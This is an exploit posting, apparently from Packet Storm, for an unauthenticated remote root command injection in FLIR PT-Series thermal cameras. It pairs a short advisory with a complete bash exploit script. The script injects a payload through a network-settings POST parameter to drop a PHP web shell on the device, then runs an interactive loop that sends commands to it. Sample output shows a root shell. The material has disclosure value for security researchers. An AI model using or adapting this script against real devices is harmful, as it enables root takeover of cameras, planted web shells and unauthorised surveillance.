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FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root

FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root
Posted Sep 25, 2017
Authored by LiquidWorm | Site zeroscience.mk

FLIR Camera PT-Series suffers from multiple unauthenticated remote command injection vulnerabilities. The vulnerability exist due to several POST parameters in controllerFlirSystem.php script when calling the execFlirSystem() function not being sanitized when using the shell_exec() PHP function while updating the network settings on the affected device. This allows the attacker to execute arbitrary system commands as the root user and bypass access controls in place.

tags | exploit, remote, arbitrary, root, php, vulnerability
MD5 | 5ddf109d3a422df75105565034f680b0

FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root

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#!/bin/bash
#
#
# FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root Exploit
#
#
# Vendor: FLIR Systems, Inc.
# Product web page: http://www.flir.com
# Affected version: Firmware version: 8.0.0.64
# Software version: 10.0.2.43
# Release: 1.3.4 GA, 1.3.3 GA and 1.3.2
#
# Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras
# bring thermal and visible-light imaging together in a system that gives you
# video and control over both IP and analog networks. The PT-Series' precision
# pan/tilt mechanism gives you accurate pointing control while providing fully
# programmable scan patterns, radar slew-to-cue, and slew-to-alarm functions.
# PT-Series cameras define a new standard of performance with five models that
# provide full 640x480 thermal resolution.
#
# Desc: FLIR Camera PT-Series suffers from multiple unauthenticated remote command
# injection vulnerabilities. The vulnerability exist due to several POST parameters
# in controllerFlirSystem.php script when calling the execFlirSystem() function not
# being sanitized when using the shell_exec() PHP function while updating the network
# settings on the affected device. This allows the attacker to execute arbitrary system
# commands as the root user and bypass access controls in place.
#
# ========================================================
#
# bash-3.2$ ./flir0.sh 10.0.0.10 8088
#
# Probing target: http://10.0.0.10:8088
#
# Status: 200
# Target seems OK!
# You got shell!
# Ctrl+C to exit.
#
# [root@FLIR ~]# id;pwd;uname -a
# uid=0(root) gid=0(root)
# /var/www/data/maintenance
# Linux FLIR 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082 #1 Wed May 1 12:25:27 PDT 2013 armv5tejl unknown
# [root@FLIR ~]# ^C
# bash-3.2$
#
# ========================================================
#
# Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
# Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
# Nexus Server/2.5.29.0
# Nexus Server/2.5.14.0
# Nexus Server/2.5.13.0
# lighttpd/1.4.28
# PHP/5.4.7
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5438
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5438.php
#
#
# 23.03.2017
#


set -euo pipefail
IFS=$'\n\t'

if [ "$#" -ne 2 ]; then
echo -e "Usage: $0 ipaddr port\\n"
exit 1
fi

ip=$1
port=$2
echo -e "\\nProbing target: http://$ip:$port\\n"

payload="dns%5Bdhcp%5D=%60echo+\"<?php+system(\\\\\$_GET['c']);?>\">test.php%60&dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D="
htcode=$(curl -Is -G http://"$ip":"$port"/maintenance/controllerFlirSystem.php -d"$payload" 2>/dev/null | head -1 | awk -F" " '{print $2}')

echo -ne "Status: "; echo "$htcode"

if [ "$htcode" == "200" ]; then
echo "Target seems OK!"
else
echo "Ajdee...something went wrong. Check your target."
exit 1
fi

echo -e "You got shell!\\nCtrl+C to exit.\\n"

while true; do
echo -ne "\\033[31m";
read -rp "[root@FLIR ~]# " cmd
echo -ne "\\033[00m";
shell="http://$ip:$port/maintenance/test.php?c=${cmd// /+}"
curl "$shell"
done

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